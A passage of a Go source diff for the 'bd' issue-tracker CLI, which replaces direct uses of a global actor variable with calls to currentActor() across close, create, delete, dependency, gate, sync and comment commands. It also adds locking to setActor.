+313,7 @@ the flags appear in the command line.`, if continueFlag && len(resolvedIDs) == 1 && closedForCommand { autoClaim := !noAuto - result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(postCloseStore), resolvedIDs[0], autoClaim, actor) + result, err := AdvanceToNextStep(ctx, newStandaloneStoreMolWriter(postCloseStore), resolvedIDs[0], autoClaim, currentActor()) if err != nil { fmt.Fprintf(os.Stderr, "Warning: could not advance to next step: %v\n", err) } else if result != nil { @@ -400,7 +400,7 @@ the flags appear in the command line.`, if s == nil { continue } - if err := commitPendingIfEmbedded(ctx, s, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, s, currentActor(), doltAutoCommitParams{ Command: "close", IssueIDs: ids, }); err != nil { diff --git a/cmd/bd/close_direct.go b/cmd/bd/close_direct.go index d7ac30cb1..47890945e 100644 --- a/cmd/bd/close_direct.go +++ b/cmd/bd/close_direct.go @@ -81,7 +81,7 @@ func closeDirectCheckOne(id string, issue *types.Issue, st storage.DoltStorage, // guard remains the authority on whether the close is a no-op, so a // concurrent close still converges. Mirrored in closeProxiedCheckOne. if issue == nil || issue.Status != types.StatusClosed { - if err := validateIssueClosable(id, issue, actor, force); err != nil { + if err := validateIssueClosable(id, issue, currentActor(), force); err != nil { return err.Error() } } @@ -135,7 +135,7 @@ func closeDirectBatches(items []closeDirectItem) []closeDirectBatch { // hands out ONE claim however many stores the ids spanned. func closeDirectRequest(batch closeDirectBatch, session string, force bool, claimStore storage.DoltStorage, claimNext *issueops.ReadyRequest) issueops.CloseBatchRequest { request := issueops.CloseBatchRequest{ - Actor: actor, + Actor: currentActor(), Items: make([]issueops.BatchCloseItem, 0, len(batch.items)), Session: session, Force: force, diff --git a/cmd/bd/close_if_revision.go b/cmd/bd/close_if_revision.go index ac5bfda1a..b544714e5 100644 --- a/cmd/bd/close_if_revision.go +++ b/cmd/bd/close_if_revision.go @@ -50,7 +50,7 @@ func runCloseDirectIfRevision(ctx context.Context, id, reason string, force bool preCloseStatus := string(result.Issue.Status) closeResult, closeErr := ops.Close(opsCtx, issueops.CloseRequest{ - Actor: actor, + Actor: currentActor(), IssueID: result.ResolvedID, Reason: reason, Session: session, @@ -79,11 +79,11 @@ func runCloseDirectIfRevision(ctx context.Context, id, reason string, force bool // entirely (mc-zndi7.75) and would otherwise leave a molecule's root // stranded open forever. mutatedIDs := []string{result.ResolvedID} - if molID := autoCloseCompletedMolecule(ctx, result.Store, result.ResolvedID, actor, session); molID != "" { + if molID := autoCloseCompletedMolecule(ctx, result.Store, result.ResolvedID, currentActor(), session); molID != "" { mutatedIDs = append(mutatedIDs, molID) } - if err := commitPendingIfEmbedded(ctx, result.Store, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, result.Store, currentActor(), doltAutoCommitParams{ Command: "close", IssueIDs: mutatedIDs, }); err != nil { @@ -116,7 +116,7 @@ func runCloseProxiedIfRevision(ctx context.Context, id, reason string, force boo } closeResult, closeErr := ops.Close(ctx, issueops.CloseRequest{ - Actor: actor, + Actor: currentActor(), IssueID: id, Reason: reason, Session: session, @@ -165,7 +165,7 @@ func runCloseIfRevisionProxiedPostClose(ctx context.Context, id, session string) } autoClosedMol, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*types.Issue, string, error) { var warnings []string - mol := autoCloseProxiedCompletedMolecule(ctx, uw, id, actor, session, &warnings) + mol := autoCloseProxiedCompletedMolecule(ctx, uw, id, currentActor(), session, &warnings) for _, w := range warnings { fmt.Fprintf(os.Stderr, "Warning: %s\n", w) } @@ -209,7 +209,7 @@ func reportClosedIfRevisionResult(id, reason, preCloseStatus string, closeResult closedIssue.Dependencies = nil } if closeResult.Changed { - audit.LogFieldChange(id, "status", preCloseStatus, "closed", actor, reason) + audit.LogFieldChange(id, "status", preCloseStatus, "closed", currentActor(), reason) } if jsonOutput { if closedIssue != nil { diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index 94a614e3a..e7a791d4f 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -140,7 +140,7 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin return HandleErrorRespectJSON("%v", cerr) } result, err = closer.CloseBatch(ctx, issueops.CloseBatchRequest{ - Actor: actor, + Actor: currentActor(), Items: pre.items, Session: in.session, Force: in.force, @@ -166,7 +166,7 @@ func runCloseProxiedServer(cmd *cobra.Command, ctx context.Context, args []strin for i, o := range outcomes { if o.closed { - audit.LogFieldChange(o.id, "status", o.auditOld, "closed", actor, o.auditReason) + audit.LogFieldChange(o.id, "status", o.auditOld, "closed", currentActor(), o.auditReason) } if !in.jsonOut { fmt.Printf("%s Closed %s: %s\n", ui.RenderPass("✓"), formatFeedbackID(o.after.ID, o.after.Title), closeReasons[i]) @@ -300,7 +300,7 @@ func closeProxiedCheckOne(ctx context.Context, uw uow.UnitOfWork, id string, in // always been. Both close paths must agree here — diverging is the defect // class #5217 closed. if current.Status != types.StatusClosed { - if err := validateIssueClosable(id, current, actor, in.force); err != nil { + if err := validateIssueClosable(id, current, currentActor(), in.force); err != nil { return err.Error(), nil } } @@ -483,7 +483,7 @@ func closeProxiedRunPostClose(ctx context.Context, args []string, in closeProxie var wrote []string for _, o := range outcomes { - mol := autoCloseProxiedCompletedMolecule(ctx, uw, o.id, actor, in.session, &out.warnings) + mol := autoCloseProxiedCompletedMolecule(ctx, uw, o.id, currentActor(), in.session, &out.warnings) if mol != nil { out.autoClosedMol = mol wrote = append(wrote, "auto-close "+mol.ID) @@ -529,7 +529,7 @@ func closeProxiedSuggestNext(ctx context.Context, uw uow.UnitOfWork, closedID st } func closeProxiedContinue(ctx context.Context, uw uow.UnitOfWork, closedID string, autoClaim bool) (*ContinueResult, string) { - result, err := AdvanceToNextStep(ctx, newUOWMolWriter(uw), closedID, autoClaim, actor) + result, err := AdvanceToNextStep(ctx, newUOWMolWriter(uw), closedID, autoClaim, currentActor()) if err != nil { return nil, fmt.Sprintf("could not advance to next step: %v", err) } diff --git a/cmd/bd/comment.go b/cmd/bd/comment.go index 15f577e7c..76cf3342a 100644 --- a/cmd/bd/comment.go +++ b/cmd/bd/comment.go @@ -183,7 +183,7 @@ To list comments on an issue, use the plural form: bd comments `, if err != nil { return HandleErrorRespectJSON("adding comment: %v", err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "comment", IssueIDs: []string{result.ResolvedID}, }); err != nil { diff --git a/cmd/bd/comments.go b/cmd/bd/comments.go index c789ef498..256e6151f 100644 --- a/cmd/bd/comments.go +++ b/cmd/bd/comments.go @@ -258,7 +258,7 @@ Examples: if err != nil { return HandleErrorRespectJSON("adding comment: %v", err) } - if err := commitPendingIfEmbedded(ctx, result.Store, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, result.Store, currentActor(), doltAutoCommitParams{ Command: "comments add", IssueIDs: []string{issueID}, }); err != nil { diff --git a/cmd/bd/context.go b/cmd/bd/context.go index 6b4807e47..bd772896b 100644 --- a/cmd/bd/context.go +++ b/cmd/bd/context.go @@ -112,17 +112,26 @@ func setStore(s storage.DoltStorage) { // getActor returns the current actor name for audit trail. func getActor() string { if shouldUseGlobals() { - return actor + return currentActor() + } + // cmdCtx.Actor is a copy of the global taken by syncCommandContext or + // setActor. While the two agree, the global is authoritative and may + // still carry a deferred git fallback (see deferActorGitFallback). + if cmdCtx.Actor == actor { + return currentActor() } return cmdCtx.Actor } // setActor updates the actor name in the CommandContext. func setActor(a string) { + actorMu.Lock() + defer actorMu.Unlock() if cmdCtx != nil { cmdCtx.Actor = a } actor = a + actorGitFallbackPending = false } // isJSONOutput returns true if JSON output mode is enabled. diff --git a/cmd/bd/cook.go b/cmd/bd/cook.go index d76422c97..6e94309b0 100644 --- a/cmd/bd/cook.go +++ b/cmd/bd/cook.go @@ -1001,20 +1001,20 @@ func cookFormula(ctx context.Context, s storage.DoltStorage, f *formula.Formula, } // Create all issues - if err := tx.CreateIssues(ctx, issues, actor); err != nil { + if err := tx.CreateIssues(ctx, issues, currentActor()); err != nil { return fmt.Errorf("failed to create issues: %w", err) } // Add labels for _, l := range labels { - if err := tx.AddLabel(ctx, l.issueID, l.label, actor); err != nil { + if err := tx.AddLabel(ctx, l.issueID, l.label, currentActor()); err != nil { return fmt.Errorf("failed to add label %s to %s: %w", l.label, l.issueID, err) } } // Add dependencies for _, dep := range deps { - if err := tx.AddDependency(ctx, dep, actor); err != nil { + if err := tx.AddDependency(ctx, dep, currentActor()); err != nil { return fmt.Errorf("failed to create dependency: %w", err) } } diff --git a/cmd/bd/create.go b/cmd/bd/create.go index e65c9ab82..38692d287 100644 --- a/cmd/bd/create.go +++ b/cmd/bd/create.go @@ -568,7 +568,7 @@ var createCmd = &cobra.Command{ // dry-run preview needs it too; asking the facade to inherit as well // would append the parent's labels a second time. result, err := ops.Create(opsCtx, issueops.CreateRequest{ - Actor: actor, + Actor: currentActor(), Issue: issue, ParentID: parentID, Dependencies: createDependencyRequests(depSpecs), @@ -610,7 +610,7 @@ var createCmd = &cobra.Command{ } if repoPath != "." && targetStore != nil { - if err := commitPendingIfEmbedded(ctx, targetStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, targetStore, currentActor(), doltAutoCommitParams{ Command: "create", IssueIDs: []string{created.ID}, }); err != nil { diff --git a/cmd/bd/create_form.go b/cmd/bd/create_form.go index d52f88dce..42d455796 100644 --- a/cmd/bd/create_form.go +++ b/cmd/bd/create_form.go @@ -371,7 +371,7 @@ func runCreateForm(cmd *cobra.Command) error { fv := parseCreateFormInput(raw) fv.ParentID = parentID - issue, err := CreateIssueFromFormValues(rootCtx, store, fv, actor) + issue, err := CreateIssueFromFormValues(rootCtx, store, fv, currentActor()) if err != nil { return HandleError("%v", err) } diff --git a/cmd/bd/defer.go b/cmd/bd/defer.go index 4158253bb..0a22b18be 100644 --- a/cmd/bd/defer.go +++ b/cmd/bd/defer.go @@ -123,7 +123,7 @@ Examples: updates["notes"] = notes + reason } - if err := store.UpdateIssue(ctx, fullID, updates, actor); err != nil { + if err := store.UpdateIssue(ctx, fullID, updates, currentActor()); err != nil { fmt.Fprintf(os.Stderr, "Error deferring %s: %v\n", fullID, err) continue } diff --git a/cmd/bd/defer_proxied_server.go b/cmd/bd/defer_proxied_server.go index 280df6ace..0e1a47847 100644 --- a/cmd/bd/defer_proxied_server.go +++ b/cmd/bd/defer_proxied_server.go @@ -27,9 +27,9 @@ type deferProxiedResult struct { func proxiedUpdateByID(ctx context.Context, uw uow.UnitOfWork, id string, isWisp bool, updates map[string]any) error { if isWisp { - return uw.IssueUseCase().UpdateWisp(ctx, id, updates, actor) + return uw.IssueUseCase().UpdateWisp(ctx, id, updates, currentActor()) } - return uw.IssueUseCase().UpdateIssue(ctx, id, updates, actor) + return uw.IssueUseCase().UpdateIssue(ctx, id, updates, currentActor()) } func proxiedGetByID(ctx context.Context, uw uow.UnitOfWork, id string, isWisp bool) *types.Issue { diff --git a/cmd/bd/delete.go b/cmd/bd/delete.go index d48de774a..c767f3958 100644 --- a/cmd/bd/delete.go +++ b/cmd/bd/delete.go @@ -163,7 +163,7 @@ Force: Delete and orphan dependents // rewrite runs INSIDE the transaction that deletes, because it is the // role's. request := issueops.DeleteRequest{ - Actor: actor, + Actor: currentActor(), IDs: []string{issueID}, Force: force, DryRun: dryRun || !force, @@ -378,7 +378,7 @@ func deleteBatch(_ *cobra.Command, issueIDs []string, force bool, dryRun bool, c // --force is the confirmation as well as the orphan mode, so an unconfirmed // run asks the role what it WOULD do; see the single-id path. request := issueops.DeleteRequest{ - Actor: actor, + Actor: currentActor(), IDs: resolvedIDs, Cascade: cascade, Force: force, diff --git a/cmd/bd/delete_proxied_server.go b/cmd/bd/delete_proxied_server.go index 9cd6b0491..3fff3137d 100644 --- a/cmd/bd/delete_proxied_server.go +++ b/cmd/bd/delete_proxied_server.go @@ -102,7 +102,7 @@ func runDeleteProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri // --force is the confirmation as well as the orphan mode, exactly as on the // direct route, so an unconfirmed run asks the role what it WOULD do. request := issueops.DeleteRequest{ - Actor: actor, + Actor: currentActor(), IDs: in.ids, Cascade: in.cascade, Force: in.force, diff --git a/cmd/bd/dep.go b/cmd/bd/dep.go index ef502d810..e77e1e1c8 100644 --- a/cmd/bd/dep.go +++ b/cmd/bd/dep.go @@ -37,7 +37,7 @@ func addDependencyEdgesDirect(ctx context.Context, st storage.DoltStorage, edges return err } _, err = editor.AddDependencies(ctx, issueops.AddDependenciesRequest{ - Actor: actor, + Actor: currentActor(), Edges: edges, SkipPerEdgeCycleCheck: skipPerEdgeCycleCheck, }) @@ -330,7 +330,7 @@ Examples: warnIfCyclesExist(fromStore) } - if err := commitPendingIfEmbedded(ctx, fromStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, fromStore, currentActor(), doltAutoCommitParams{ Command: "dep add", IssueIDs: []string{fromID, toID}, }); err != nil { @@ -520,7 +520,7 @@ Examples: warnIfCyclesExist(fromStore) } - if err := commitPendingIfEmbedded(ctx, fromStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, fromStore, currentActor(), doltAutoCommitParams{ Command: "dep add", IssueIDs: []string{fromID, toID}, }); err != nil { @@ -1270,7 +1270,7 @@ var depRemoveCmd = &cobra.Command{ return HandleErrorRespectJSON("%v", err) } result, err := editor.RemoveDependency(opsCtx, issueops.RemoveDependencyRequest{ - Actor: actor, + Actor: currentActor(), IssueID: fullFromID, DependsOnID: fullToID, }) @@ -1278,7 +1278,7 @@ var depRemoveCmd = &cobra.Command{ return HandleErrorRespectJSON("%v", err) } - if err := commitPendingIfEmbedded(ctx, fromStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, fromStore, currentActor(), doltAutoCommitParams{ Command: "dep remove", IssueIDs: []string{fullFromID, fullToID}, }); err != nil { diff --git a/cmd/bd/dep_proxied_server.go b/cmd/bd/dep_proxied_server.go index 28e50f79f..aee6b0306 100644 --- a/cmd/bd/dep_proxied_server.go +++ b/cmd/bd/dep_proxied_server.go @@ -76,7 +76,7 @@ func addDependencyEdgesProxied(ctx context.Context, edges []issueops.DependencyE return err } _, err = editor.AddDependencies(ctx, issueops.AddDependenciesRequest{ - Actor: actor, + Actor: currentActor(), Edges: edges, SkipPerEdgeCycleCheck: skipPerEdgeCycleCheck, }) @@ -370,7 +370,7 @@ func runDepRemoveProxiedServer(_ *cobra.Command, ctx context.Context, args []str return HandleErrorRespectJSON("%v", err) } result, err := editor.RemoveDependency(ctx, issueops.RemoveDependencyRequest{ - Actor: actor, + Actor: currentActor(), IssueID: fromID, DependsOnID: toID, }) diff --git a/cmd/bd/duplicates.go b/cmd/bd/duplicates.go index 32c6417c0..f11e4ea35 100644 --- a/cmd/bd/duplicates.go +++ b/cmd/bd/duplicates.go @@ -424,7 +424,7 @@ func performMerge(targetID string, sourceIDs []string) map[string]interface{} { // Close the duplicate issue reason := fmt.Sprintf("Duplicate of %s", targetID) - if err := store.CloseIssue(ctx, sourceID, reason, actor, ""); err != nil { + if err := store.CloseIssue(ctx, sourceID, reason, currentActor(), ""); err != nil { errors = append(errors, fmt.Sprintf("failed to close %s: %v", sourceID, err)) continue } diff --git a/cmd/bd/edit.go b/cmd/bd/edit.go index 5fe2bed53..5e04128d0 100644 --- a/cmd/bd/edit.go +++ b/cmd/bd/edit.go @@ -150,7 +150,7 @@ Examples: fieldToEdit: newValue, } - err = issueStore.UpdateIssue(ctx, id, updates, actor) + err = issueStore.UpdateIssue(ctx, id, updates, currentActor()) if err != nil { if accessor, ok := storage.UnwrapStore(issueStore).(storage.RawDBAccessor); ok { if pingErr := accessor.DB().PingContext(ctx); pingErr != nil { @@ -158,14 +158,14 @@ Examples: _ = accessor.DB().PingContext(ctx) } } - err = issueStore.UpdateIssue(ctx, id, updates, actor) + err = issueStore.UpdateIssue(ctx, id, updates, currentActor()) } if err != nil { fmt.Fprintf(os.Stderr, "Your edits are preserved in: %s\n", tmpPath) return HandleErrorRespectJSON("updating issue: %v", err) } editSaved = true - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "edit", IssueIDs: []string{id}, }); err != nil { diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index 3aa97289e..98985e062 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -275,7 +275,7 @@ This is used by 'bd done --phase-complete' to register for gate wake notificatio updates := map[string]interface{}{ "waiters": newWaiters, } - if err := store.UpdateIssue(ctx, gateID, updates, actor); err != nil { + if err := store.UpdateIssue(ctx, gateID, updates, currentActor()); err != nil { return HandleError("updating gate: %v", err) } @@ -355,7 +355,7 @@ Examples: } gate.Metadata = metadata - if err := store.CreateIssue(ctx, gate, actor); err != nil { + if err := store.CreateIssue(ctx, gate, currentActor()); err != nil { return HandleErrorRespectJSON("creating gate: %v", err) } @@ -364,7 +364,7 @@ Examples: DependsOnID: gate.ID, Type: types.DepBlocks, } - if err := store.AddDependency(ctx, dep, actor); err != nil { + if err := store.AddDependency(ctx, dep, currentActor()); err != nil { return HandleErrorRespectJSON("adding blocking dependency: %v", err) } @@ -573,7 +573,7 @@ Use --reason to provide context for why the gate was resolved.`, return HandleError("%s is not a gate issue (type=%s)", gateID, issue.IssueType) } - if err := store.CloseIssue(ctx, gateID, reason, actor, ""); err != nil { + if err := store.CloseIssue(ctx, gateID, reason, currentActor(), ""); err != nil { return HandleError("closing gate: %v", err) } @@ -679,7 +679,7 @@ Examples: return updateGateAwaitIDFunc(nil, gateID, runID) } recordSeen = func(gate *types.Issue) error { - if err := store.UpdateIssue(ctx, gate.ID, beadGateSeenUpdate(gate.AwaitID), actor); err != nil { + if err := store.UpdateIssue(ctx, gate.ID, beadGateSeenUpdate(gate.AwaitID), currentActor()); err != nil { return err } commandDidWrite.Store(true) @@ -1575,7 +1575,7 @@ func beadGateRetargetUpdate(awaitID string, dropSeen bool) map[string]interface{ // closeGate closes a gate issue with the given reason func closeGate(_ interface{}, gateID, reason string) error { - if err := store.CloseIssue(rootCtx, gateID, reason, actor, ""); err != nil { + if err := store.CloseIssue(rootCtx, gateID, reason, currentActor(), ""); err != nil { return err } commandDidWrite.Store(true) diff --git a/cmd/bd/gate_discover.go b/cmd/bd/gate_discover.go index f66c3d4fa..b1842e1de 100644 --- a/cmd/bd/gate_discover.go +++ b/cmd/bd/gate_discover.go @@ -581,7 +581,7 @@ func updateGateAwaitID(_ interface{}, gateID, runID string) error { updates := map[string]interface{}{ "await_id": runID, } - if err := store.UpdateIssue(rootCtx, gateID, updates, actor); err != nil { + if err := store.UpdateIssue(rootCtx, gateID, updates, currentActor()); err != nil { return err } return nil diff --git a/cmd/bd/gate_proxied_server.go b/cmd/bd/gate_proxied_server.go index 8597a749b..f83e66186 100644 --- a/cmd/bd/gate_proxied_server.go +++ b/cmd/bd/gate_proxied_server.go @@ -140,7 +140,7 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { } for gateID, runID := range discovered { - if err := uw.IssueUseCase().UpdateIssue(ctx, gateID, map[string]any{"await_id": runID}, actor); err != nil { + if err := uw.IssueUseCase().UpdateIssue(ctx, gateID, map[string]any{"await_id": runID}, currentActor()); err != nil { out.awaitErrs[gateID] = fmt.Errorf("failed to update gate with discovered run ID: %w", err) continue } @@ -168,7 +168,7 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { if before != nil && before.Status == types.StatusClosed { continue } - res, closeErr := uw.IssueUseCase().CloseIssue(ctx, r.gate.ID, domain.CloseIssueParams{Reason: r.reason}, actor) + res, closeErr := uw.IssueUseCase().CloseIssue(ctx, r.gate.ID, domain.CloseIssueParams{Reason: r.reason}, currentActor()) if closeErr != nil { out.closeErrs[r.gate.ID] = closeErr continue @@ -192,7 +192,7 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { } for _, c := range applied.closed { - audit.LogFieldChange(c.after.ID, "status", c.oldStatus, "closed", actor, c.reason) + audit.LogFieldChange(c.after.ID, "status", c.oldStatus, "closed", currentActor(), c.reason) } if len(applied.closed) > 0 || len(applied.updated) > 0 { commandDidWrite.Store(true) @@ -326,7 +326,7 @@ func runGateAddWaiterProxiedServer(_ *cobra.Command, ctx context.Context, args [ } newWaiters := append(issue.Waiters, waiter) - if err := uw.IssueUseCase().UpdateIssue(ctx, gateID, map[string]any{"waiters": newWaiters}, actor); err != nil { + if err := uw.IssueUseCase().UpdateIssue(ctx, gateID, map[string]any{"waiters": newWaiters}, currentActor()); err != nil { return out, "", fmt.Errorf("updating gate: %w", err) } if after, getErr := uw.IssueUseCase().GetIssue(ctx, gateID); getErr == nil { @@ -394,7 +394,7 @@ func runGateCreateProxiedServer(cmd *cobra.Command, ctx context.Context) error { } gate.Metadata = metadata - res, err := uw.IssueUseCase().CreateIssue(ctx, domain.CreateIssueParams{Issue: gate}, actor) + res, err := uw.IssueUseCase().CreateIssue(ctx, domain.CreateIssueParams{Issue: gate}, currentActor()) if err != nil { return out, "", fmt.Errorf("creating gate: %w", err) } @@ -404,7 +404,7 @@ func runGateCreateProxiedServer(cmd *cobra.Command, ctx context.Context) error { DependsOnID: res.Issue.ID, Type: types.DepBlocks, } - if err := uw.DependencyUseCase().AddDependency(ctx, dep, actor); err != nil { + if err := uw.DependencyUseCase().AddDependency(ctx, dep, currentActor()); err != nil { return out, "", fmt.Errorf("adding blocking dependency: %w", err) } @@ -464,7 +464,7 @@ func runGateResolveProxiedServer(cmd *cobra.Command, ctx context.Context, args [ return out, "", fmt.Errorf("%s is not a gate issue (type=%s)", gateID, issue.IssueType) } - res, err := uw.IssueUseCase().CloseIssue(ctx, gateID, domain.CloseIssueParams{Reason: reason}, actor) + res, err := uw.IssueUseCase().CloseIssue(ctx, gateID, domain.CloseIssueParams{Reason: reason}, currentActor()) if err != nil { return out, "", fmt.Errorf("closing gate: %w", err) } @@ -486,7 +486,7 @@ func runGateResolveProxiedServer(cmd *cobra.Command, ctx context.Context, args [ // double-resolve must not re-log it (same guard as the o.closed check in // close_proxied_server.go). if applied.closed && applied.after != nil { - audit.LogFieldChange(applied.after.ID, "status", applied.oldStatus, "closed", actor, reason) + audit.LogFieldChange(applied.after.ID, "status", applied.oldStatus, "closed", currentActor(), reason) } commandDidWrite.Store(true) diff --git a/cmd/bd/gc_proxied_server.go b/cmd/bd/gc_proxied_server.go index ed4818373..f5fbdb7df 100644 --- a/cmd/bd/gc_proxied_server.go +++ b/cmd/bd/gc_proxied_server.go @@ -93,7 +93,7 @@ func runGCProxiedServer(ctx context.Context) error { ids[i] = issue.ID } deleteResult, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (domain.DeleteIssuesResult, string, error) { - res, err := uw.IssueUseCase().DeleteIssues(ctx, domain.DeleteIssuesParams{IDs: ids}, actor) + res, err := uw.IssueUseCase().DeleteIssues(ctx, domain.DeleteIssuesParams{IDs: ids}, currentActor()) if err != nil { return domain.DeleteIssuesResult{}, "", err } diff --git a/cmd/bd/github.go b/cmd/bd/github.go index 77ee4e8e8..bedc3ef4b 100644 --- a/cmd/bd/github.go +++ b/cmd/bd/github.go @@ -419,7 +419,7 @@ func runGitHubSync(cmd *cobra.Command, args []string) error { } // Create the sync engine - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) engine.OnMessage = func(msg string) { _, _ = fmt.Fprintln(out, " "+msg) } engine.OnWarning = func(msg string) { _, _ = fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } diff --git a/cmd/bd/gitlab.go b/cmd/bd/gitlab.go index 6657dcb3b..6bc94e0d0 100644 --- a/cmd/bd/gitlab.go +++ b/cmd/bd/gitlab.go @@ -511,7 +511,7 @@ func runGitLabSync(cmd *cobra.Command, args []string) error { } // Create the sync engine - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) if !jsonOutput { engine.OnMessage = func(msg string) { _, _ = fmt.Fprintln(out, " "+msg) } } diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 00faeb197..9a52f1415 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -1167,7 +1167,7 @@ func graphApplyEdgeBatchMetadata(edge GraphApplyEdge, depType types.DependencyTy } func executeGraphApply(ctx context.Context, plan *GraphApplyPlan, opts GraphApplyOptions) (*GraphApplyResult, error) { - req, err := buildGraphApplyBatchRequest(plan, opts, actor, getOwner()) + req, err := buildGraphApplyBatchRequest(plan, opts, currentActor(), getOwner()) if err != nil { return nil, err } diff --git a/cmd/bd/heartbeat.go b/cmd/bd/heartbeat.go index 281db80c2..6790047a7 100644 --- a/cmd/bd/heartbeat.go +++ b/cmd/bd/heartbeat.go @@ -68,11 +68,11 @@ Examples: defer result.Close() issueStore := result.Store - if err := issueStore.HeartbeatIssue(ctx, result.ResolvedID, actor); err != nil { + if err := issueStore.HeartbeatIssue(ctx, result.ResolvedID, currentActor()); err != nil { return HandleErrorRespectJSON("heartbeat %s: %v", result.ResolvedID, err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "heartbeat", IssueIDs: []string{result.ResolvedID}, }); err != nil { @@ -94,7 +94,7 @@ func renderHeartbeatSuccess(id, title string) error { return outputJSON(map[string]string{ "id": id, "status": "heartbeat", - "owner": actor, + "owner": currentActor(), }) } fmt.Printf("%s Heartbeat %s (lease refreshed)\n", ui.RenderPass("✓"), formatFeedbackID(id, title)) diff --git a/cmd/bd/heartbeat_proxied_server.go b/cmd/bd/heartbeat_proxied_server.go index 80de4a033..c09772f52 100644 --- a/cmd/bd/heartbeat_proxied_server.go +++ b/cmd/bd/heartbeat_proxied_server.go @@ -41,7 +41,7 @@ func runHeartbeatProxiedServer(ctx context.Context, id string) error { } // Wisps resolve here too and are refused below: the repo verb // classifies them ErrNotClaimable ("is ephemeral"), same as classic. - if herr := uw.IssueUseCase().Heartbeat(ctx, issue.ID, actor); herr != nil { + if herr := uw.IssueUseCase().Heartbeat(ctx, issue.ID, currentActor()); herr != nil { return heartbeatProxiedOutcome{}, fmt.Errorf("heartbeat %s: %w", issue.ID, herr) } return heartbeatProxiedOutcome{id: issue.ID, title: issue.Title}, nil diff --git a/cmd/bd/human.go b/cmd/bd/human.go index c87faa2d6..19fb98907 100644 --- a/cmd/bd/human.go +++ b/cmd/bd/human.go @@ -307,12 +307,12 @@ Examples: warnIfNotHumanLabeled(issue) - _, err = targetStore.AddIssueComment(ctx, resolvedID, actor, commentText) + _, err = targetStore.AddIssueComment(ctx, resolvedID, currentActor(), commentText) if err != nil { return HandleErrorRespectJSON("adding comment: %v", err) } - if err := targetStore.CloseIssue(ctx, resolvedID, "Responded", actor, ""); err != nil { + if err := targetStore.CloseIssue(ctx, resolvedID, "Responded", currentActor(), ""); err != nil { return HandleErrorRespectJSON("closing bead: %v", err) } @@ -403,7 +403,7 @@ Examples: warnIfNotHumanLabeled(issue) - if err := targetStore.CloseIssue(ctx, resolvedID, closeReason, actor, ""); err != nil { + if err := targetStore.CloseIssue(ctx, resolvedID, closeReason, currentActor(), ""); err != nil { return HandleErrorRespectJSON("closing bead: %v", err) } diff --git a/cmd/bd/human_proxied_server.go b/cmd/bd/human_proxied_server.go index 10c948add..924ed2632 100644 --- a/cmd/bd/human_proxied_server.go +++ b/cmd/bd/human_proxied_server.go @@ -122,9 +122,9 @@ func closeHumanProxied(ctx context.Context, id, comment, closeReason, commitVerb if comment != "" { var cerr error if isWisp { - _, cerr = uw.CommentUseCase().AddCommentToWisp(ctx, issue.ID, actor, comment) + _, cerr = uw.CommentUseCase().AddCommentToWisp(ctx, issue.ID, currentActor(), comment) } else { - _, cerr = uw.CommentUseCase().AddCommentToIssue(ctx, issue.ID, actor, comment) + _, cerr = uw.CommentUseCase().AddCommentToIssue(ctx, issue.ID, currentActor(), comment) } if cerr != nil { return humanCloseResult{}, "", fmt.Errorf("adding comment: %w", cerr) @@ -133,9 +133,9 @@ func closeHumanProxied(ctx context.Context, id, comment, closeReason, commitVerb params := domain.CloseIssueParams{Reason: closeReason} if isWisp { - _, err = uw.IssueUseCase().CloseWisp(ctx, issue.ID, params, actor) + _, err = uw.IssueUseCase().CloseWisp(ctx, issue.ID, params, currentActor()) } else { - _, err = uw.IssueUseCase().CloseIssue(ctx, issue.ID, params, actor) + _, err = uw.IssueUseCase().CloseIssue(ctx, issue.ID, params, currentActor()) } if err != nil { return humanCloseResult{}, "", fmt.Errorf("closing bead: %w", err) diff --git a/cmd/bd/jira.go b/cmd/bd/jira.go index 099359b2a..b03574fe9 100644 --- a/cmd/bd/jira.go +++ b/cmd/bd/jira.go @@ -139,7 +139,7 @@ func runJiraSync(cmd *cobra.Command, args []string) error { return HandleErrorRespectJSON("initializing Jira tracker: %v", err) } - engine := tracker.NewEngine(jt, trackerStore, actor) + engine := tracker.NewEngine(jt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } diff --git a/cmd/bd/label.go b/cmd/bd/label.go index 46fcfd177..5f5a768db 100644 --- a/cmd/bd/label.go +++ b/cmd/bd/label.go @@ -165,7 +165,7 @@ func 